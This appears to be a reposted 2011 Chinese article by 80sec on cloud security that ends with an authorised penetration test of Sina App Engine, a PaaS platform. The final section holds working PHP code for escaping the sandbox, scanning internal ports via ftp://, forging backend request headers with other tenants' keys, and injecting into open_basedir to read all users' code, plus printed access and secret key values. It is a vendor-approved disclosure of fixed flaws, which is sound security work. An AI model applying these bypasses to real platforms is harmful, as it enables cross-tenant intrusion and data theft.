從對SAE的一次受權安全評估淺談雲安全

 

 

EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2011-12-20
From: http://www.80sec.com/php

[ 目錄 ]
一 背景及描述
二 什麼是雲
三 什麼是雲安全
四 如何對雲進行安全設計
五 對SAE的一次受權安全評估檢測前端

一 背景及簡述mysql

因爲國外的服務器訪問較慢而且常常性的出現沒法訪問的狀況,咱們較早就與SAE合做將WooYun項目遷移至了較爲穩定的SAE平臺,後來與新浪SAE在安全方面也創建了合做關係,其中就包括這次安全評估測試。另一方面,目前業界對雲安全的討論更多的都是在理論方面,不少的專家學者乃至安全研究人員和黑客都在討論雲安全,卻不多有對實際的生產環境的雲進行評估分析甚至入侵的案例,80sec也一直對雲安全有本身的想法,可是缺少實際的案例因此一直也沒有相關的文檔產出,咱們在SAE對這些安全問題修復以後,通過SAE方面容許將這次對一個典型的paas雲的評估過程公開,順便提一些咱們80sec在雲安全方面的一些粗淺的想法,相關的一些詳細安全問題也會被同步提交到烏雲-漏洞報告平臺上,說安全不如作安全:)web

二 什麼是雲sql

咱們理解的雲是一種新的資源使用方式,包括存儲,數據,計算,網絡……等等,這種資源相比傳統的資源來說,更接近一種基礎能源,須要多少就用多少,相似於基礎設施裏的水和電的這種彈性,按照用多少進行付費,到目前爲止,咱們都很難對雲有一個精確的定義,咱們站在安全的角度只能粗淺的將雲分爲:

私有云:爲企業內部業務服務的,具備無限計算能力和無限存儲能力的雲服務;
公有云:爲外部用戶提供服務的,在計算能力和存儲能力不限的基礎上,可能會與公司核心資源一塊兒以saas的形式提供給外部用戶服務的雲;
數據庫

一樣,按照雲實際的表現形式和做用又能夠分爲iaas,paas,saas,不一樣類型的雲是資源本質上的不一樣,下一層爲上一層服務,iaas提供網絡和系統層面上的資源細粒度劃分,paas依賴於iaas能夠作到將存儲,計算,數據等資源開放給第三方開發者,而藉助paas提供的平臺,能夠在之上實現各類各樣的軟件層面的saas結合公司核心資源以給用戶提供服務;apache

三 什麼是雲安全後端

安全永遠是對數據而言,安全的本質是數據的安全,包括可用,保密和不可篡改,安全上的一個挑戰是雲安全本質上改變了數據的處理方式,從傳統的數據擁有者對安全負責變成數據處理者和數據擁有者同時對安全負責。
雲安全帶來的另一個挑戰是一個矛盾,對於使用者而言若是我要使用雲,由於我可能會將敏感數據傳到雲上,我要先確保雲是安全的,而若是我是一個雲的建設者,我要對雲安全負責,我得首先確認雲裏的數據處理和協做方式,而在數據規模和具體應用還不成熟的狀況下,作到這一點會有難度,我沒法保護一個威脅模型都不成熟的系統,因此目前一方面出現一個雲安全先於雲計算髮展的局面,可是同時雲安全由於雲計算業務發展不夠致使會處於一個理論和策略層面的狀況;
不一樣的雲,由於實際的業務目標和蘊含的數據不一樣,會有不一樣的安全威脅從而會有不一樣的雲安全,譬如paas所須要考慮的東西和一個iaas須要考慮的安全會是徹底不一樣的,一樣私有云的安全目標和公有云的安全目標也會徹底不一樣,依然是好久以前80sec提到的,不理解上下文的安全是沒有意義的;安全

四 如何對雲進行安全設計服務器

我相信任何一個事物的安全性會由以下方面形成,它自己蘊含的價值,這種價值所吸引帶來的風險,是否有考慮到這種風險的防禦及實際的解決方案,解決方案是否獲得正確的實現,正確實現解決方案後是否造成有效的體系進行管理和運維,任何一個環節的缺失都會帶來不安全性;
對於雲,咱們相信沒有統一的雲安全,因此只能選擇一個目前較爲典型的例子paas來談咱們對雲安全設計的淺顯見解,咱們將考慮以下幾個維度:

a) 資產價值:咱們須要瞭解到該業務核心的價值所在,不一樣價值的數據會致使不一樣的安全威脅,譬如對於paas來說,咱們就很不同意將私服(你懂的),銀行等系統運行於paas之上,它不適合你,並且高價值的資產引入將提升雲的風險;

b) 安全風險:特定的資產會遭受不一樣的安全風險,一個涉及國家機密的網站所可能承受的安全風險和一個我的Blog一定是徹底不一樣的,分析咱們所可能承受的風險,譬如拒絕服務,用戶數據被非法訪問,對內部網絡的滲透等等;

c) 威脅建模:根據雲可能承受的風險以及會形成這些風險的途徑,重點在於分析系統的體系結構,安全域以及各安全域的邊界,而且創建威脅模型譬如在paas雲平臺和internet的邊界方面須要考慮的包括外網的網絡攻擊,惡意掃描等,對於用戶數據和平臺數據邊界間應該考慮惡意代碼對平臺數據,甚至由於paas多用戶的特殊性,應該考慮用戶數據間邊界的威脅;在這以外還要考慮平臺對內部數據中心的影響;

d) 安全策略:基於上述的威脅建模,咱們能夠針對各類威脅進行必要的安全策略以杜絕和弱化風險,譬如要求在paas雲邊界上部署防火牆,在平臺和內部網絡之間部署入侵檢測及監控系統;對於平臺和用戶以及用戶與用戶之間要求作到安全隔離等等;

e) 技術控制:對於策略如何可以具體的落實到執行,是一件較難的事情,同時也是最重要的一部分工做,大多數的企業也最缺乏對這塊的技術評估,沒有足夠的技術支撐,安全策略也只是一紙空文;這部分基本應該包括安全基線,訪問控制,異常監控

能夠看到,咱們的安全設計是以數據和風險驅動的安全設計,以新浪雲SAE爲例,咱們能夠將涉及的數據按照屬性和安全等級分爲若干安全區域,各安全區域內實現相應等級的安全控制,區域間的訪問行爲須要受到嚴格的監控和審計:

a) 新浪內部數據(位於新浪IDC內部,未受權對新浪內部收據的訪問將致使危害)
b) SAE平臺數據(平臺支撐整個用戶數據的安全,安全等級較高)
c) SAE用戶數據(能夠再細化爲用戶數據A,用戶數據B)

這幾個區域的屬性徹底不一樣,對於訪問須要作不一樣訪問控制,對於內部數據,應該是和平臺自己進行徹底隔離,這部分能夠經過劃分獨立的網絡來進行控制,理論上咱們信任內部網絡,可是若是平臺足夠重要咱們能夠同樣將其來自內部的訪問和請求進行隔離;對於平臺數據和用戶之間應該是徹底隔離,這部分是基於主機和一些後臺服務的,因此能夠經過網絡和主機上的沙盒進行控制;對於用戶之間的數據,由於安全性同樣須要隔離,這部分須要在應用層實現一套隔離機制;對於平臺和外網之間的隔離,咱們須要嚴格防護譬如拒絕服務ddos以及一些常見的應用漏洞;
這幾個部分若是沒有作好,就會致使安全問題,咱們不管是實現仍是評估都是從這幾個部分來考慮;

五 對SAE的一次受權安全評估檢測

咱們的網站一直搭建在SAE平臺上,不管是速度,穩定以及工做人員對問題的態度上都很是的不錯,SAE以前和烏雲有意展開一些合做包括對SAE的安全評估和檢測,SAE安全防禦很到位,對咱們發現的問題都有過積極的反饋和修復,在獲得SAE的容許以後這裏咱們將咱們發現的問題作一些分享,相信對其餘相似於paas的平臺會有幫助

1 know it,瞭解咱們的測試目標

按照咱們對新浪雲的粗略分析,數據會分爲新浪內部數據,SAE平臺數據和SAE用戶數據,其中新浪內部數據主要是指IDC內部其餘業務數據,平臺數據包括平臺的管理及運維以及相關的業務數據,用戶數據主要是指用戶上傳至SAE的包括代碼,數據庫,存儲等數據。按照咱們的安全目標,這些數據之間應該相互隔離,不該該互相影響,不會被非法訪問;
新浪對雲的保護基本也分爲幾個方面,一方面是外部的防火牆實現sae與因特網的控制邊界,在內部一樣是使用了合適的ACL對內部數據進行了防禦,咱們很是關心的另一方面也是paas所獨有的一方面就是用戶數據間的隔離和用戶數據與雲平臺的隔離,這部分是最爲複雜也是最爲靈活的;SAE對用戶數據間的隔離主要是不一樣用戶間經過用戶名和密碼實現隔離,不一樣的應用之間經過access_key和secert_key來進行隔離,訪問後端的數據庫和存儲等應用都必須提供access_key以及secert_key來進行;對於用戶數據和平臺之間的隔離主要包括全部資源的使用必須經過sae提供的接口進行,原生態的文件讀寫,網絡請求都被禁止,而對於代碼執行層,sae經過disable_function和open_basedir模擬了一個沙盒環境,以實如今執行態的沙盒保證用戶沒法對他資源以外的數據進行訪問;
咱們看到sae在這一塊作的努力,咱們也嘗試對他進行了突破;

2 看看咱們能夠得到的資源

因爲咱們可以真正與sae及sae後端所蘊藏的豐富其餘用戶資源進行交互的,惟一的方式就是執行咱們本身的代碼,因此咱們代碼所處的環境和實際的限制對咱們來講很重要,咱們經過以下代碼對系統進行了判斷:


<?php

$exts=get_loaded_extensions();
$disables=ini_get("disable_functions");
$disables=explode(",",$disables);

$alls=get_defined_functions();

$myfun=$alls['user'];

for($i=0;$i<count($alls['internal']);$i++){
if(!in_array($alls['internal'][$i],$disables)){
$myfun[]=$alls['internal'][$i];
}
}

var_dump($myfun);

?>

這是全部咱們代碼可執行的範圍,也就是咱們全部可能進行的交互,能夠看到基本已經知道的能夠突破沙箱的函數和方法都作了限制;

3 分析咱們的環境

同時咱們能夠看到sae提供了phpinfo函數支持,那麼咱們經過phpinfo就能夠簡單判斷當前的環境了,咱們須要關心以下選項:


Registered PHP Streams
apache2handler
Apache Environment

open_basedir
disable_functions

auto_prepend_file

這樣咱們大概瞭解了咱們代碼所處的運行環境,同時根據auto_prepend_file的提示咱們知道在應用層sae作的一些事情,這裏隱藏了太多的祕密包括後端服務的工做方式和sae製造的沙盒裏可能有的一些空隙,畢竟這是跟咱們的代碼同一層所作的安全控制,而不是更底層,主要的包括網絡請求的封裝,後端資源訪問的封裝,而那個access_key和secert_key正是在這裏起的做用;

4 攻擊方式

咱們的代碼運行於一個open_basedir和disable_function環境中,這兩個選項,正常狀況下將咱們的代碼同文件系統以及操做系統隔離開來,使得咱們處於一個受限的環境,同時因爲在php這一層sae的代碼優於咱們的代碼執行,因此在php代碼層一樣實現了一個沙箱,在這個沙箱內,咱們與其餘的任何資源的交互都會受到限制,譬如http請求和socks請求,而正常容許的鏈接譬如mysql,經過咱們的測試,咱們發現因爲修改了底層的mysql代碼,在sae代碼執行環境裏咱們沒法鏈接屬於咱們固有權限以外的任何數據,可是能夠看到因爲sae選擇在應用層而不是更底層進行的沙箱,因此咱們只要咱們有可能選擇到一些沙箱沒有控制到的地方就可能繞過,同時若是沙箱自己實現得很差的話也可能致使產生問題。
先來看看沙箱是否可能漏洞的地方,咱們能夠簡單的對容許使用的php函數進行一次遍歷,發現了這麼一個函數mb_send_mail並無被禁用,80sec曾經提到要將mail函數禁用由於這將是php和底層系統進行交互的一個接口,而mb_send_mail一樣只是對mail函數的一個封裝,咱們簡單的測試以後證實的確能夠利用該函數對底層系統進行讀寫,可是因爲網絡的一些緣由咱們獲得了一個500錯誤,咱們所須要的結果並無如實的反饋給咱們,但通過sae證明,該問題的確存在
另外,咱們也觀察到,sae支持的流很是多,可是真正被封裝起來的其實只有一個http協議,封裝的目的是對用戶產生的請求可以進行控制,譬如限制訪問的目的地址和對請求數量等作更精粒度的控制,而對於原生的譬如ftp協議並無進行限制,這個時候其實咱們能夠利用這個作一個簡單的內網端口掃描器:


echo(file_get_contents('ftp://127.0.0.1:22/111'));

因爲sae對錯誤的處理偏向開發者太過有好,致使經過捕獲錯誤,咱們能夠看到是不是網絡不可達,端口未開放仍是協議不匹配,這樣咱們甚至能夠探測出sae與內部網絡的隔離程度
ftp協議畢竟不是特別友好,而對於已經封裝的http協議咱們發現stream_wrapper_unregister和stream_wrapper_restore並無禁用,因而經過這兩個函數咱們能夠恢復原生的http請求,向全部咱們想發起的地方發起http請求了:


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http"));

這只是對網絡請求沙箱的一些突破,在實際的用戶數據層,咱們發如今後端用戶是共用一些基本的服務的,譬如memcache,譬如mysql等,後端經過用戶傳遞的access_key以及secert_key來識別用戶,咱們作了個頗有意思的實驗:


define( 'SAE_ACCESSKEY', 'm0lm3wyxjyo' );
define( 'SAE_SECRETKEY', '5d2dmz1xwyihjd2m3xzximw5wj30jix0djxl1c5i0iz5' );
define( 'SAE_MYSQL_HOST_M', 'w.rdc.sae.sina.com.cn' );
define( 'SAE_MYSQL_HOST_S', 'r.rdc.sae.sina.com.cn' );
define( 'SAE_MYSQL_PORT', 3307 );
define( 'SAE_MYSQL_USER', SAE_ACCESSKEY );
define( 'SAE_MYSQL_PASS', SAE_SECRETKEY );
define( 'SAE_MYSQL_DB', 'app_' . 'wscan' );

var_dump(mysql_connect('r.rdc.sae.sina.com.cn:3307','m0lm3wyxjyo','5d2m1d0wfffyihj2m3xximw5wj30jix0jxlxl05i0iz5'));

這個會提示

SAE_Warning: mysql_connect() [function.mysql-connect]: this app is not authorised in eval.php

彷佛是底層的Mysql對鏈接的應用作了限制,不容許跨應用去鏈接數據庫,可是咱們知道除了在應用代碼環境裏能夠去鏈接數據庫,在SAE提供的面板裏也是能夠去進行數據庫鏈接的,在控制面板裏的實現便是經過access_key和secret_key在後臺進行的鏈接,咱們只要替換爲咱們得到的其餘應用的相應key便可鏈接成功,這個沙箱彷佛太簡單了,仍是沒有作到應用只能訪問到本身的數據這個原則,那麼咱們如何得到別人的access_key和secret_key呢,看看那個auto_prepend_file文件,這兩個值是從HTTP請求裏傳遞的,而且因爲實現上的緣由,這個內容在phpinfo裏是直接能夠看到的,上百度搜索一下sae,phpinfo吧……
到這裏彷佛咱們能夠了解到sae的一些機制和機制上的問題,可是都是用戶之間的,咱們很好奇爲何sae須要在http頭裏傳遞access_key和secert_key,這彷佛比較難理解,在分析了sae的實現機制以後咱們大概能夠作以下理解,在前端接收到請求以後,會對請求作一些邏輯判斷,譬如是不是有效的應用,應用資源是否超標等等,在作完有效性驗證以後請求被轉發到後端的執行層,執行環境所須要的一些數據譬如access_key和secert_key就是從這裏傳遞到執行環境的,這裏的好處是執行環境只負責執行,不用驗證請求的合法性,任何應用的更改譬如禁用啓用,增長刪除不會影響到後端執行環境,可是這裏就會有明顯的問題,若是請求的合法性只在前端驗證那麼若是咱們能夠直接將請求轉發到後端是可能影響到後端邏輯的正確性的,注意phpinfo裏以下的信息:


DOCUMENT_ROOT /data1/www/htdocs
SERVER_ADMIN saesupport@sina.cn
SCRIPT_FILENAME /data1/www/htdocs/549/wscan/1/phpinfo.php

咱們請求的是phpinfo.php,document_root是在/data1/www/htdocs,理論是上是沒法映射到/data1/www/htdocs/549/wscan/1/phpinfo.php的,並且從這個路徑咱們推測,全部應用的執行代碼都是處於/data1/www/htdocs/下面,全部的執行代碼都是相同的用戶身份運行的,由於一些緣由sae並無在設計上將全部用戶的可執行代碼作到隔離,隔離只是在執行層利用動態的映射和動態的限制來作的,這個機制是否存在問題呢,看以下精彩的代碼:


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.comrnX-Forwarded-For: 61.135.165.180, 61.135.165.180rnAppName: webmanagernAccessKey: ynz0jyo1k1rnSecretKey: 1zhwzm5l4yilzyj54xiim5ddywwzzzz342l5lk5rnAppHash: 928rnMysqlPort: 3307rnAppCookie: default_version=1;xhprof=;debug=1;rnConnection: closernCookie: saeut=220.181.50.244.1321955938519836rnAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

咱們利用以前突破http封裝的方式實現了一個原生態的http請求,請求直接發日後端的可執行層代碼,咱們故意使用了別人的appname和apphash去請求一個phpinfo,結果發現正如咱們的猜想,全部請求和請求的限制都是動態生成的,生成的原則就是基於appname和apphash等,譬如:


SCRIPT_FILENAME /data1/www/htdocs/549/wscan/1/phpinfo.php

就是基於請求的apphash和appname與DOCUMENT_ROOT一塊兒決定請求的路徑,從這種角度來說,全部用戶的資源更像是同一個站點下面的不一樣頁面,理論上是能夠得到其餘用戶資源的,咱們嘗試繼續突破。既然請求路徑是動態生成的,咱們有理由相信open_basedir也是動態生成的,既然是動態生成的咱們就能夠進行一次前所未有的注射:

open_basedir格式爲:/dir/1:/dir/2

若是咱們能產生一段open_basedir爲/dir/1:/:/dir/2就能夠突破對文件系統的沙箱了,同時這個請求還必須合法,由於咱們請求的文件資源會和這個路徑保持一致,咱們能夠創建一個名字爲/:/:/的目錄,結合../對目錄進行遍歷,咱們是能夠同時知足open_basedir和SCRIPT_FILENAME的要求的,最後讓咱們構造一個以下的請求:


if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.comrnX-Forwarded-For: 61.135.165.180, 61.135.165.180rnAppName: webmanage/1/:/:/../../../rnAccessKey: ynztttt1k1rnSecretKey: 1zhwzm5l4yzzzzyj54xiim5ddywwzill342l5lk5rnAppHash: 928rnMysqlPort: 3307rnAppCookie: default_version=1;xhprof=;debug=1;rnConnection: closernCookie: saeut=220.181.50.244.1321955938519836rnAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

注意AppName: webmanage/1/:/:/../../../,這個時候webmanage下得全部請求都將是繞過了open_basedir的限制的,咱們順利的訪問到了全部用戶的代碼資源,包括SAE平臺執行環境的資源;
咱們在得到了數據權限以後嘗試對sae的系統環境進行了突破,也發現了一些問題,可是沒有獲得實質的突破,未來有機會會再次分享 :)

5 總結

SAE在設計的時候就考慮了安全性,而且防禦很是嚴密,在易用性和安全性中實現了一個優雅的平衡,可是咱們也能夠看到對於paas的設計來說,因爲須要容許用戶的代碼儘可能友好高效的運行,因此很容易在一些安全策略實現的細節當中出現一些問題,做爲paas應用上下文的特殊性,其餘的paas廠商在實現和設計的時候更應該嚴格注意這些安全問題,避免給平臺和用戶形成安全損失。

相關文章
相關標籤/搜索